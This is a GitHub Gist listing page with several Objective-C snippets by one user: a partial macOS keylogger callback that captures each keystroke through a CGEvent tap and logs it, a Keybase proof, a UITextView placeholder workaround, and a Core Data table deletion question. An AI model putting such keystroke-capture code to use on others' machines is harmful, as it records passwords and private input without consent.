Skip to content

Instantly share code, notes, and snippets.

@Januzellij
Januzellij / keylogger.m
Created October 8, 2014 22:09
Stupid simple keylogger. Requires root privileges.
#import <Foundation/Foundation.h>
CGEventRef keyDownCallback (CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
UniCharCount count;
UniChar chars[1];
UniCharCount maxStringLength = 1;
CGEventKeyboardGetUnicodeString(event, maxStringLength, &count, chars);
NSString *string = [NSString stringWithCharacters:chars length:1];
NSLog(@"%@", string);
return event;

Keybase proof

I hereby claim:

  • I am Januzellij on github.
  • I am jj (https://keybase.io/jj) on keybase.
  • I have a public key whose fingerprint is 49A8 E669 3A16 64B2 A2D3 6A07 129B 7C83 C409 FE80

To claim this, I am signing this object:

UITextView doesn't have support for placeholder text, which is flat out stupid. Here's a placeholder (note: set the inital textView text to your placeholder text and the initial textColor to your placeholder textColor)
Copy and paste this into your UITextViewDelegate (or add onto them if you've already implemented them)
(Inspiration from http://stackoverflow.com/questions/1328638/placeholder-in-uitextview)
NSString *placeholder = @"placeholder text";
- (void)textViewDidBeginEditing:(UITextView *)textView {
if ([textView.text isEqualToString:placeholder]) {
// don't ask why this is neccesary, I have no idea. But without it, it doesn't work
I've got a UITableView backed by an array of Core Data objects, made by appending two arrays of Core Data objects. Whenever I try to delete a row from the table view, it throws:
Terminating app due to uncaught exception 'NSInternalInconsistencyException', reason: 'Invalid update: invalid number of rows in section 0. The number of rows contained in an existing section after the update (2) must be equal to the number of rows contained in that section before the update (2), plus or minus the number of rows inserted or deleted from that section (0 inserted, 1 deleted) and plus or minus the number of rows moved into or out of that section (0 moved in, 0 moved out).'
Here's the code to delete (in my UITableViewCell subclass):
NSManagedObjectContext *context = [NSManagedObjectContext MR_contextForCurrentThread];
[object MR_deleteInContext:context];
[context MR_saveToPersistentStoreAndWait];
[tableViewController loadData];
[tableView deleteRowsAtIndexPaths:@[self.indexPath] withRowAnimation:UITableViewRowAnimation